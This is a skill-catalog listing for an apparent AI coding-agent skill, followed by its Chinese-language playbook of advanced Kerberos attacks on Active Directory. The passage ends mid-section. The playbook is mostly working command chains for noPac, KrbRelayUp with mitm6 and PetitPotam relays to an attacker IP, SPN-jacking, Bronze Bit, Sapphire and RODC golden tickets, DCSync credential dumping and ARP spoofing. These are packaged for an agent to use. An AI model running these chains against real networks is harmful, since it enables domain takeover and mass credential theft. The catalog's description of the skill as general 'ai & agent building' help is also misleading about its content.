
Kerberos Advanced Attack
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
kerberos-advanced-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- kerberos-advanced-attack
- AI & Agent Building
- AI-coding skill
Kerberos Advanced Attack by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #10,032 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill kerberos-advanced-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
高级 Kerberos 攻击
触发条件
- 需要使用高级 Kerberos 技术(noPac / KrbRelayUp / Timeroasting / RODC)
- 基础 Kerberoasting 和委派攻击不够用
- 发现 RODC(只读域控制器)
- 需要更高隐蔽性的票据伪造(Sapphire ticket)
前置要求
| 技术 | 所需凭证 | 关键工具 |
|---|---|---|
| Timeroasting | 无需凭证 | timeroast, netexec |
| ASREQroast | 无需凭证 (需 MITM) | PCredz |
| noPac | 低权限域用户 | noPac.py, Impacket |
| KrbRelayUp | 本地 SYSTEM | KrbRelayUp, krbrelayx |
| SPN-jacking | 域用户 + WriteSPN | Impacket, tgssub |
| UnPAC-the-hash | 用户证书 | PKINITtools, Rubeus |
| Bronze Bit | 受限委派服务账号 | Impacket getST |
| Sapphire ticket | krbtgt hash | Impacket ticketer |
| RODC 攻击链 | 视阶段而定 | Rubeus, bloodyAD, keylistattack |
技术选择决策树
你目前有什么?
├── 无凭证/无认证
│ ├── 可达 DC NTP → Timeroasting
│ └── 有 MITM 位置 → ASREQroast
├── 低权限域用户
│ ├── MAQ > 0 → sAMAccountName spoofing (noPac)
│ └── 有 WriteSPN 权限 → SPN-jacking
├── 本地 SYSTEM (无域凭证)
│ └── LDAP signing 未强制 → KrbRelayUp
├── 持有证书
│ └── UnPAC-the-hash
├── 有受限委派 + 目标受保护
│ └── Bronze Bit (CVE-2020-17049)
├── 已有 krbtgt hash
│ └── 需高隐蔽 → Sapphire ticket
└── 发现 RODC
└── RODC 攻击链---
1. Timeroasting — NTP 无认证哈希提取
原理
DC 的 NTP 服务使用计算机账户的 NTLM hash (MD5-based key) 计算 NTP 响应中的 MAC 值。攻击者无需任何认证,仅通过发送 NTP 请求并指定不同 RID,即可获取计算机账户的 SNTP hash 用于离线破解。该 hash 基于 RC4 密钥,计算机账户如果使用弱密码(如 Pre-Windows 2000 设备),则可被快速破解。
前置条件
- 网络可达 DC 的 NTP 端口 (UDP 123)
- 无需任何认证凭据
核心命令
# 无认证枚举 — Linux
python3 timeroast.py "$DC_IP"
# netexec 模块
netexec smb "$DC_IP" -M timeroast
# Windows — 认证模式 (可生成针对性字典)
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP -GenerateWordlist# 破解 SNTP hash
hashcat -m 31300 -a 0 -O hashes.txt $WORDLIST --username成功标志
- 获取 SNTP hash 文件
- hashcat 破解出计算机账户密码
- 注意: 破解速度比 Kerberos TGS hash 快约 10 倍
---
2. ASREQroast — MITM AS-REQ 捕获
原理
当攻击者处于 MITM 位置时(ARP 欺骗、ICMP 重定向、DHCPv6 投毒),可以捕获域用户正常 Kerberos 预认证中的 AS-REQ 加密时间戳。该时间戳使用用户密码派生的密钥加密,可离线破解。与 AS-REP Roasting 不同,ASREQroast 不需要目标禁用预认证。
前置条件
- 拥有 MITM 位置(ARP/ICMP redirect/DHCPv6)
- 无需域凭据
核心命令
# 实时抓取
Pcredz -i $INTERFACE -v
# 从 pcap 文件提取
Pcredz -f "$PCAP_FILE"
# 从目录批量提取
Pcredz -d "$PCAP_DIR"# 破解 AS-REQ Pre-Auth etype 23
hashcat -m 7500 asreq_hashes.txt $WORDLIST成功标志
- 捕获到用户 AS-REQ 加密时间戳 hash
- hashcat 破解出用户明文密码
---
3. sAMAccountName Spoofing (noPac) — CVE-2021-42278 + CVE-2021-42287
原理
CVE-2021-42278 允许修改计算机账户的 sAMAccountName 为不带 $ 的值。CVE-2021-42287 导致 KDC 在找不到请求者时自动追加 $ 搜索。组合利用: 创建机器账户 → 改名为 DC 名(不带$) → 请求 TGT → 改回原名 → 用 TGT 做 S4U2self 获取 DC 的高权限 TGS。
前置条件
- 低权限域用户凭据
- MAQ (ms-DS-MachineAccountQuota) > 0
- 未安装补丁 KB5008102 + KB5008380
核心命令
# 自动化 — 一键利用
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -dump
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -use-ldap -dump# 手动链 — UNIX (Impacket)
# Step 1: 创建机器账户
addcomputer.py -computer-name 'FAKEPC$' -computer-pass 'FakePass123' -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 2: 清除 SPN (避免约束检查)
addspn.py --clear -t 'FAKEPC$' -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 3: 改名为 DC
renameMachine.py -current-name 'FAKEPC$' -new-name "$DC_NAME" -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 4: 用 DC 名请求 TGT
getTGT.py -dc-ip $DC_IP "$DOMAIN/$DC_NAME:FakePass123"
# Step 5: 改回原名
renameMachine.py -current-name "$DC_NAME" -new-name 'FAKEPC$' -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 6: S4U2self 获取 DC ST
export KRB5CCNAME="$DC_NAME.ccache"
getST.py -self -impersonate "Administrator" -altservice "cifs/$DC_FQDN" -k -no-pass -dc-ip $DC_IP "$DOMAIN/$DC_NAME"
# Step 7: DCSync
export KRB5CCNAME="Administrator@cifs_$DC_FQDN@$DOMAIN.ccache"
secretsdump.py -k -no-pass -dc-ip $DC_IP "$DC_FQDN"# 手动链 — Windows
New-MachineAccount -MachineAccount "FAKEPC" -Password $(ConvertTo-SecureString "FakePass123" -AsPlainText -Force) -Domain $DOMAIN
Set-DomainObject "FAKEPC$" -Clear 'servicePrincipalName'
Set-MachineAccountAttribute -MachineAccount "FAKEPC" -Value "$DC_NAME" -Attribute samaccountname
Rubeus.exe asktgt /user:"$DC_NAME" /password:"FakePass123" /domain:$DOMAIN /dc:$DC_FQDN /nowrap
Set-MachineAccountAttribute -MachineAccount "FAKEPC" -Value "FAKEPC$" -Attribute samaccountname
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/$DC_FQDN" /dc:$DC_FQDN /ptt /ticket:$TGT_BASE64
mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:Administrator"成功标志
- 获取 DC 的 cifs/ldap 服务票据
- DCSync 成功导出域内 hash
---
4. KrbRelayUp — 本地 Kerberos Relay 提权
原理
在已获取本地 SYSTEM 权限的场景下,将机器账户的 Kerberos 认证 relay 到 LDAP 服务,配置 RBCD (Resource-Based Constrained Delegation),然后通过 S4U 链获取本地管理员票据,实现从 SYSTEM 到域内高权限的提升。
前置条件
- 本地 SYSTEM 权限
- LDAP signing 未强制
- MAQ > 0 或已控制机器账户
核心命令
# 基础利用
KrbRelayUp.exe relay -Domain $DOMAIN -CreateNewComputerAccount -ComputerName YOURPC$ -ComputerPassword Pass
KrbRelayUp.exe spawn -m rbcd -d $DOMAIN -dc $DC_FQDN -cn YOURPC$ -cp Pass# DNS 投毒 relay 变体 (krbrelayx + mitm6)
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP \
--victim $TARGET_SAMNAME --adcs --template Machine
mitm6 -i $INTERFACE -d $DOMAIN -hw $TARGET_FQDN --relay $ADCS_FQDN -v# Coerced auth relay 变体
dnstool.py -u "$DOMAIN\\$USER" -p "$PASSWORD" -r attacker.$DOMAIN -a add -t A -d $ATTACKER_IP $DC_IP
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP --victim $TARGET_SAMNAME --adcs --template Machine
PetitPotam.py attacker.$DOMAIN@80/test $TARGET_IP成功标志
- RBCD 配置成功写入 msDS-AllowedToActOnBehalfOfOtherIdentity
- S4U 获取本地管理员票据
- 本地提权到 SYSTEM / 域内横向
---
5. SPN-jacking — KCD + DACL 组合定向 Kerberoasting
原理
当拥有对某账户的 WriteSPN 权限且环境中已配置 KCD 时,可以将目标 SPN "移动"到可控账户上,然后利用 S4U 链请求票据,最后用 tgssub 编辑票据中的 SPN 字段指向真正目标。
前置条件
- KCD (约束委派) 已配置
- 对另一个账户拥有 WriteSPN 权限
核心命令
# UNIX — 完整 SPN-jacking 流程
# Step 1: 清除目标 B 的 SPN
addspn.py --clear -t 'ServerB$' -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 2: 将 B 的 SPN 添加到可控账户 C
addspn.py -t 'ServerC$' --spn "cifs/serverB.$DOMAIN" -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 3: S4U 请求票据
getST.py -spn "cifs/serverB.$DOMAIN" -impersonate "Administrator" "$DOMAIN/serverA\$:$PASSWORD"
# Step 4: 编辑票据 SPN
tgssub.py -in serverB.ccache -out final.ccache -altservice "cifs/serverC.$DOMAIN"# Windows
Set-DomainObject -Identity ServerB$ -Clear servicePrincipalName
Set-DomainObject -Identity ServerC$ -Set @{serviceprincipalname="cifs/serverB.$DOMAIN"}
Rubeus.exe s4u /ticket:$TGT /impersonateuser:Administrator /msdsspn:"cifs/serverB.$DOMAIN" /altservice:"cifs/serverC.$DOMAIN" /ptt成功标志
- 获取目标服务的有效 ST
- 可访问目标服务 (cifs/http/mssql 等)
---
6. UnPAC-the-hash — PKINIT 证书转 NT Hash
原理
通过 PKINIT 获取的 TGT 的 PAC 中包含用户的 NT hash。利用 User-to-User (U2U) 请求机制,用自己的 TGT 加密自己的 TGS,然后从中提取 NT hash。常用于 ADCS 攻击或 Shadow Credentials 攻击后的凭据提取。
前置条件
- 持有目标用户的有效证书 (.pfx/.pem)
- 通常来自 ADCS 利用或 Shadow Credentials 写入
核心命令
# PKINITtools — Linux
gettgtpkinit.py -cert-pfx "$CERT_PFX" -pfx-pass "$PFX_PASS" "$DOMAIN/$USER" tgt.ccache
# 记录输出中的 AS-REP encryption key
getnthash.py -key '$AS_REP_KEY' '$DOMAIN'/'$USER'# Rubeus — Windows
Rubeus.exe asktgt /getcredentials /user:"$USER" /certificate:"$CERT_PFX" /password:"$PFX_PASS" /domain:"$DOMAIN" /dc:"$DC_FQDN" /show成功标志
- 成功获取目标用户的 NT hash
- 可用于 Pass-the-Hash 或进一步攻击
---
7. Bronze Bit (CVE-2020-17049) — 委派 Forwardable 标志绕过
原理
S4U2self 获取的票据中 forwardable 标志由 KDC 根据目标用户是否在 Protected Users 组或标记为 sensitive 来设置。Bronze Bit 攻击直接修改票据中的 forwardable 位(因为该票据用服务账户密钥加密,而攻击者已持有该密钥),从而绕过限制,将票据用于 S4U2proxy。
前置条件
- 控制一个配置了约束委派的服务账号
- 目标用户在 Protected Users 组或标记 "Account is sensitive and cannot be delegated"
核心命令
getST.py -force-forwardable \
-spn "$TARGET_SPN" \
-impersonate "Administrator" \
-dc-ip "$DC_IP" \
-hashes :"$NT_HASH" \
"$DOMAIN/$SERVICE_ACCOUNT"成功标志
- 获取可转发 (forwardable) 的 ST for 受保护用户
- 可访问委派目标服务
---
8. Sapphire Ticket — 高隐蔽票据伪造
原理
Diamond Ticket 的进阶变体。普通 Golden/Diamond Ticket 使用伪造的 PAC,Sapphire Ticket 通过 S4U2self + U2U 机制获取目标用户的真实 PAC,替换到伪造票据中。由于 PAC 来自 KDC 的真实签名,检测难度极高。
前置条件
- 已获取 krbtgt hash (AES + NT hash)
- 了解目标用户 RID 和域 SID
核心命令
ticketer.py -request \
-impersonate 'domainadmin' \
-domain '$DOMAIN' \
-user '$USER' \
-password '$PASSWORD' \
-nthash '$KRBTGT_NT' \
-aesKey '$KRBTGT_AES' \
-user-id '$TARGET_RID' \
-domain-sid '$DOMAIN_SID' \
'baduser'注意事项
- KB5008380 补丁后 KDC 检查 PAC_REQUESTOR 和 PAC_ATTRIBUTES_INFO 结构
- 缺少这些字段可能导致 KDC_ERR_TGT_REVOKED
- 与 Golden/Diamond 对比: Sapphire 使用真实 PAC (S4U 获取),最难检测
成功标志
- 获取包含真实 PAC 的伪造票据
- 票据可正常通过 KDC 验证
---
9. RODC 攻击链
原理
只读域控制器 (RODC) 拥有独立的 krbtgt 密钥 (krbtgt_XXXXX),通过密码复制策略 (PRP) 控制可缓存哪些账户的密钥。攻击 RODC 可提取受允许缓存的账户密钥,或通过 DACL 修改 PRP 扩大影响范围。
枚举 RODC
# LDAP 查询
ldapsearch -H ldap://$DC_IP -b "DC=$DOMAIN_DN" "(primaryGroupID=521)" dn sAMAccountName msDS-SecondaryKrbTgtNumber
# netexec
nxc ldap $DC_IP -u "$USER" -p "$PASSWORD" -M rodcPRP 策略查询
# msDS-RevealOnDemandGroup — 允许缓存列表
# msDS-NeverRevealGroup — 拒绝缓存列表
ldapsearch -H ldap://$DC_IP -b "CN=$RODC_NAME,OU=Domain Controllers,DC=$DOMAIN_DN" \
msDS-RevealOnDemandGroup msDS-NeverRevealGroup managedByKey List 攻击 — 提取缓存密钥
# 完整模式 (包含被 Denied 的)
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" -full "$DOMAIN/$USER:$PASS"@"$RODC"
# 正常模式 (遵循 Denied List)
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" "$DOMAIN/$USER:$PASS"@"$RODC"
# 指定用户模式
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" -t "$TARGET_USER" "$DOMAIN/$USER:$PASS"@"$RODC"# Windows — Rubeus
Rubeus.exe golden /rodcNumber:$KRBTGT_NUM /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:rodc.kirbi /aes256:$KRBTGT_AES /user:$USER /id:$RID /domain:$DOMAIN /sid:$SID
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:rodc.kirbi /service:krbtgt/$DOMAINRODC Golden Ticket
Rubeus.exe golden /rodcNumber:$KRBTGT_NUM /flags:forwardable,renewable,enc_pa_rep /nowrap \
/outfile:ticket.kirbi /aes256:$KRBTGT_AES \
/user:Administrator /id:500 /domain:$DOMAIN /sid:$DOMAIN_SID- kvno 字段必须匹配 RODC 的 krbtgt 版本号
- 票据提交到可写 DC 时,PAC 会被重新计算验证
RODC DACL 利用 — 修改 PRP 扩大影响
# bloodyAD — 添加管理员到允许列表
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP set object "$RODC_DN" \
msDS-RevealOnDemandGroup -v "CN=Domain Admins,CN=Users,DC=$DOMAIN_DN"
# bloodyAD — 清除拒绝列表
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP set object "$RODC_DN" \
msDS-NeverRevealGroup# powerview.py
Set-DomainObject -Identity "$RODC_DN" -Append @{'msDS-RevealOnDemandGroup'='CN=Domain Admins,CN=Users,DC=$DOMAIN_DN'}
Set-DomainObject -Identity "$RODC_DN" -Clear 'msDS-NeverRevealGroup'- 攻击链: 修改 PRP → 导出 krbtgt_XXXXX → RODC Golden Ticket → Key List 攻击
Pre-Windows 2000 计算机账户
# 默认密码 = 小写计算机名去掉 $
# 筛选: UAC=4128 + logonCount=0
ldapsearch -H ldap://$DC_IP -b "DC=$DOMAIN_DN" "(&(userAccountControl=4128)(logonCount=0))" sAMAccountName
# 批量验证
nxc smb $DC_IP -u computers.txt -p passwords.txt --no-bruteforce
# Kerberos 认证
getTGT.py "$DOMAIN/OLDPC\$:oldpc"成功标志
- 提取目标账户 NT hash
- 获取 RODC Golden Ticket
- 修改 PRP 后可缓存高权限账户密钥
---
深入参考
- → references/kerberos-escalation.md — noPac / KrbRelayUp / Bronze Bit / SPN-jacking / Timeroasting / ASREQroast / UnPAC / Sapphire 完整命令参考
- → references/rodc-attack.md — RODC 概念、Key List 攻击、RODC Golden Ticket、DACL 利用、Pre-Windows 2000
Kerberos 高级提权技术完整命令参考
本文档提供 SKILL.md 中各技术的完整命令链和详细参数说明。
---
sAMAccountName Spoofing (noPac)
自动化工具 — noPac.py
# 扫描是否存在漏洞
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP -scan
# 一键利用 — secretsdump
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -dump
# 使用 LDAPS
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -use-ldap -dump
# 获取 shell
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -shell手动链 — UNIX (Impacket)
# Step 1: 创建机器账户
addcomputer.py -computer-name 'FAKEPC$' -computer-pass 'FakePass123' \
-dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 2: 清除 SPN — 重要! 不清除会因 SPN 唯一性约束导致改名失败
addspn.py --clear -t 'FAKEPC$' -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 3: 改名为 DC (不带 $)
renameMachine.py -current-name 'FAKEPC$' -new-name "$DC_NAME" \
-dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 4: 用 DC 名申请 TGT
getTGT.py -dc-ip $DC_IP "$DOMAIN/$DC_NAME:FakePass123"
# Step 5: 立即改回 (避免影响域复制)
renameMachine.py -current-name "$DC_NAME" -new-name 'FAKEPC$' \
-dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 6: 用 TGT 做 S4U2self
export KRB5CCNAME="$DC_NAME.ccache"
getST.py -self -impersonate "Administrator" -altservice "cifs/$DC_FQDN" \
-k -no-pass -dc-ip $DC_IP "$DOMAIN/$DC_NAME"
# Step 7: DCSync
export KRB5CCNAME="Administrator@cifs_$DC_FQDN@$DOMAIN.ccache"
secretsdump.py -k -no-pass -dc-ip $DC_IP "$DC_FQDN"注意事项:
- 清除 SPN 必须在改名之前,否则 LDAP 会拒绝重名 SPN
- 用户账户变体: 如果用户无 SPN,也可直接改名用户账户 (无需创建机器账户)
- 改名后应尽快改回,避免 DC 间复制异常
手动链 — Windows
# Step 1: 创建机器账户
New-MachineAccount -MachineAccount "FAKEPC" -Password $(ConvertTo-SecureString "FakePass123" -AsPlainText -Force) -Domain $DOMAIN
# Step 2: 清除 SPN
Set-DomainObject "FAKEPC$" -Clear 'servicePrincipalName'
# Step 3: 改名
Set-MachineAccountAttribute -MachineAccount "FAKEPC" -Value "$DC_NAME" -Attribute samaccountname
# Step 4: 申请 TGT
Rubeus.exe asktgt /user:"$DC_NAME" /password:"FakePass123" /domain:$DOMAIN /dc:$DC_FQDN /nowrap
# Step 5: 改回
Set-MachineAccountAttribute -MachineAccount "FAKEPC" -Value "FAKEPC$" -Attribute samaccountname
# Step 6: S4U2self
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/$DC_FQDN" /dc:$DC_FQDN /ptt /ticket:$TGT_BASE64
# Step 7: DCSync
mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:Administrator"---
KrbRelayUp 完整参考
基础利用
# 创建机器账户并配置 RBCD
KrbRelayUp.exe relay -Domain $DOMAIN -CreateNewComputerAccount \
-ComputerName YOURPC$ -ComputerPassword Pass
# 利用 RBCD 获取票据
KrbRelayUp.exe spawn -m rbcd -d $DOMAIN -dc $DC_FQDN \
-cn YOURPC$ -cp Pass场景 1: DNS 投毒 Relay
# Terminal 1 — krbrelayx 监听
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP \
--victim $TARGET_SAMNAME --adcs --template Machine
# Terminal 2 — mitm6 DNS 投毒
mitm6 -i $INTERFACE -d $DOMAIN -hw $TARGET_FQDN --relay $ADCS_FQDN -v注意: DNS 名称长度限制为 15 字符 (NetBIOS 限制)
场景 2: Coerced Auth Relay
# Step 1: 注册 DNS 记录
dnstool.py -u "$DOMAIN\\$USER" -p "$PASSWORD" \
-r attacker.$DOMAIN -a add -t A -d $ATTACKER_IP $DC_IP
# Step 2: krbrelayx 监听
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP \
--victim $TARGET_SAMNAME --adcs --template Machine
# Step 3: 强制认证
PetitPotam.py attacker.$DOMAIN@80/test $TARGET_IP场景 3: Multicast Relay
# Terminal 1 — Responder (仅监听模式)
Responder -I $INTERFACE -A
# Terminal 2 — krbrelayx
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP \
--victim $TARGET_SAMNAME --adcs --template MachineSPN 类匹配说明: relay 的 SPN class 必须与目标服务匹配 (http→http, cifs→cifs)
---
Bronze Bit (CVE-2020-17049)
利用命令
# Impacket getST — 强制设置 forwardable 标志
getST.py -force-forwardable \
-spn "$TARGET_SPN" \
-impersonate "Administrator" \
-dc-ip "$DC_IP" \
-hashes :"$NT_HASH" \
"$DOMAIN/$SERVICE_ACCOUNT"# 使用 AES 密钥
getST.py -force-forwardable \
-spn "$TARGET_SPN" \
-impersonate "Administrator" \
-dc-ip "$DC_IP" \
-aesKey "$AES_KEY" \
"$DOMAIN/$SERVICE_ACCOUNT"使用场景
- 当协议转换 (Protocol Transition) 受限时
- 目标用户在 Protected Users 组
- 目标账户标记 "Account is sensitive and cannot be delegated"
- S4U2self 返回的票据 forwardable=0
技术细节
S4U2self 返回的票据用服务账户的密钥加密。攻击者已持有该密钥,因此可以解密票据、修改 forwardable 标志位、重新加密后用于 S4U2proxy。KDC 不会验证该标志是否被篡改(补丁前)。
---
SPN-jacking 完整参考
UNIX 完整流程
# 前置: 确认 KCD 配置
# ServerA$ 配置了到 ServerB 的约束委派
# 攻击者对 ServerC$ 有 WriteSPN 权限
# Step 1: 清除 ServerB 的 SPN
addspn.py --clear -t 'ServerB$' -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 2: 将 ServerB 的 SPN 添加到 ServerC
addspn.py -t 'ServerC$' --spn "cifs/serverB.$DOMAIN" \
-u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 3: 用 ServerA 做 S4U 请求 ServerB 的 SPN (实际由 ServerC 持有)
getST.py -spn "cifs/serverB.$DOMAIN" -impersonate "Administrator" \
"$DOMAIN/serverA\$:$PASSWORD"
# Step 4: 编辑票据中的 SPN 指向 ServerC
tgssub.py -in serverB.ccache -out final.ccache -altservice "cifs/serverC.$DOMAIN"
# Step 5: 使用票据
export KRB5CCNAME=final.ccache
smbclient.py -k -no-pass "$DOMAIN/Administrator@serverC.$DOMAIN"Ghost SPN-jacking
当目标服务器已不存在 (DNS 记录仍在) 时:
# 直接将 ghost SPN 添加到可控账户
addspn.py -t 'ControlledSvc$' --spn "cifs/ghostserver.$DOMAIN" \
-u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# 获取票据 (无需 tgssub)
getST.py -spn "cifs/ghostserver.$DOMAIN" -impersonate "Administrator" \
"$DOMAIN/delegator\$:$PASSWORD"Windows 流程
# Step 1-2: 移动 SPN
Set-DomainObject -Identity ServerB$ -Clear servicePrincipalName
Set-DomainObject -Identity ServerC$ -Set @{serviceprincipalname="cifs/serverB.$DOMAIN"}
# Step 3: S4U
Rubeus.exe s4u /ticket:$TGT /impersonateuser:Administrator \
/msdsspn:"cifs/serverB.$DOMAIN" /altservice:"cifs/serverC.$DOMAIN" /ptt
# Step 4: 验证
dir \\serverC.$DOMAIN\c$---
Timeroasting 完整参考
无认证模式
# timeroast 工具
python3 timeroast.py "$DC_IP"
python3 timeroast.py "$DC_IP" -o hashes.txt
# netexec 模块
netexec smb "$DC_IP" -M timeroast
netexec smb "$DC_IP" -M timeroast -o OUTPUT=hashes.txt认证模式 (Windows)
# 基础枚举
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP
# 生成针对性字典 (基于计算机名变形)
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP -GenerateWordlist
# 指定输出
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP -OutputFile C:\temp\hashes.txt破解
# hashcat 模式 31300
hashcat -m 31300 -a 0 -O hashes.txt $WORDLIST --username
# 规则破解 (计算机账户密码通常基于机器名)
hashcat -m 31300 -a 0 -O hashes.txt $WORDLIST -r rules/best64.rule --username目标说明:
- 仅影响使用 RC4 密钥的计算机账户
- AES 密钥不受此攻击影响
- 主要目标: Pre-Windows 2000 计算机、手动设置弱密码的机器账户
- 破解速度约为 Kerberos TGS hash 的 10 倍
---
ASREQroast 完整参考
捕获
# 实时捕获
Pcredz -i $INTERFACE -v
# 从 pcap 文件
Pcredz -f "$PCAP_FILE"
# 从目录批量
Pcredz -d "$PCAP_DIR"MITM 位置获取
# ARP 欺骗
arpspoof -i $INTERFACE -t $TARGET_IP $GATEWAY_IP
# ICMP 重定向
# 需要自定义脚本或 Scapy
# DHCPv6 投毒
mitm6 -d $DOMAIN -i $INTERFACE破解
# Kerberos AS-REQ Pre-Auth etype 23
hashcat -m 7500 asreq_hashes.txt $WORDLIST
# 带规则
hashcat -m 7500 asreq_hashes.txt $WORDLIST -r rules/best64.rule与 AS-REP Roasting 对比:
- AS-REP Roasting 需要目标禁用预认证
- ASREQroast 针对正常启用预认证的用户
- ASREQroast 需要 MITM 位置
- 两者使用不同 hashcat 模式 (AS-REP: 18200, ASREQroast: 7500)
---
UnPAC-the-hash 完整参考
PKINITtools (Linux)
# Step 1: 使用证书获取 TGT
gettgtpkinit.py -cert-pfx "$CERT_PFX" -pfx-pass "$PFX_PASS" \
"$DOMAIN/$USER" tgt.ccache
# 输出包含 AS-REP encryption key,记录备用
# Step 2: 从 TGT 提取 NT hash
getnthash.py -key '$AS_REP_KEY' '$DOMAIN'/'$USER'
# 使用 PEM 格式证书
gettgtpkinit.py -cert-pem "$CERT_PEM" -key-pem "$KEY_PEM" \
"$DOMAIN/$USER" tgt.ccacheRubeus (Windows)
# 一步完成
Rubeus.exe asktgt /getcredentials /user:"$USER" /certificate:"$CERT_PFX" \
/password:"$PFX_PASS" /domain:"$DOMAIN" /dc:"$DC_FQDN" /show
# 使用 base64 证书
Rubeus.exe asktgt /getcredentials /user:"$USER" /certificate:$CERT_B64 \
/domain:"$DOMAIN" /dc:"$DC_FQDN" /show典型使用场景:
- ADCS ESC1-ESC8 获取证书后提取 NT hash
- Shadow Credentials 攻击写入 msDS-KeyCredentialLink 后
- 证书认证环境中的凭据持久化
---
Sapphire Ticket 完整参考
伪造命令
# Impacket ticketer — 带 -request 触发 S4U 获取真实 PAC
ticketer.py -request \
-impersonate 'domainadmin' \
-domain '$DOMAIN' \
-user '$USER' \
-password '$PASSWORD' \
-nthash '$KRBTGT_NT' \
-aesKey '$KRBTGT_AES' \
-user-id '$TARGET_RID' \
-domain-sid '$DOMAIN_SID' \
'baduser'票据类型对比
| 特征 | Golden Ticket | Diamond Ticket | Sapphire Ticket |
|---|---|---|---|
| PAC 来源 | 完全伪造 | 修改真实 PAC | 真实 PAC (S4U) |
| 需要 krbtgt | AES/NT | AES/NT | AES/NT |
| 检测难度 | 低 | 中 | 高 |
| TGT 来源 | 伪造 | 修改真实 TGT | 伪造+真实PAC |
KB5008380 补丁影响
补丁后 KDC 验证:
- PAC_REQUESTOR: 票据请求者 SID 必须与 PAC logon info 中的 SID 匹配
- PAC_ATTRIBUTES_INFO: 标记 PAC 是否为完整 PAC
- 缺少这些结构会导致 KDC_ERR_TGT_REVOKED
- Sapphire Ticket 通过 S4U 获取真实 PAC 天然包含这些结构
RODC 攻击完整参考
只读域控制器 (Read-Only Domain Controller) 攻击面与利用技术详解。
---
RODC 概念与攻击面
RODC 基本特征
- 只读 AD 数据库副本,不可直接写入
- 拥有独立的 krbtgt 密钥:
krbtgt_XXXXX(X 为数字编号) - 密钥编号存储在
msDS-SecondaryKrbTgtNumber属性中 - 通过密码复制策略 (PRP) 控制缓存哪些账户的密钥
managedBy属性指定 RODC 管理者 (通常为分支机构 IT)
密码复制策略 (PRP)
| 属性 | 含义 | 默认值 |
|---|---|---|
| msDS-RevealOnDemandGroup | 允许缓存的账户/组 (Allowed List) | Allowed RODC Password Replication Group |
| msDS-NeverRevealGroup | 拒绝缓存的账户/组 (Denied List) | Denied RODC Password Replication Group, Domain Admins, Enterprise Admins 等 |
- Denied List 优先级高于 Allowed List
- 默认 Denied List 包含所有高权限组
枚举 RODC
# LDAP 查询 — primaryGroupID=521 为 RODC 的 primary group
ldapsearch -H ldap://$DC_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
-b "DC=$DOMAIN_DN" "(primaryGroupID=521)" \
dn sAMAccountName msDS-SecondaryKrbTgtNumber msDS-RevealOnDemandGroup msDS-NeverRevealGroup managedBy
# netexec 模块
nxc ldap $DC_IP -u "$USER" -p "$PASSWORD" -M rodc# PowerShell
Get-ADDomainController -Filter { IsReadOnly -eq $true } | Select-Object Name, Site, IPv4Address
Get-ADComputer -Filter { primaryGroupID -eq 521 } -Properties msDS-SecondaryKrbTgtNumber, msDS-RevealOnDemandGroup, msDS-NeverRevealGroup, managedBy查询 PRP 详细信息
# 查看允许列表成员
Get-ADGroupMember "Allowed RODC Password Replication Group"
# 查看拒绝列表成员
Get-ADGroupMember "Denied RODC Password Replication Group"
# 查看已缓存的账户
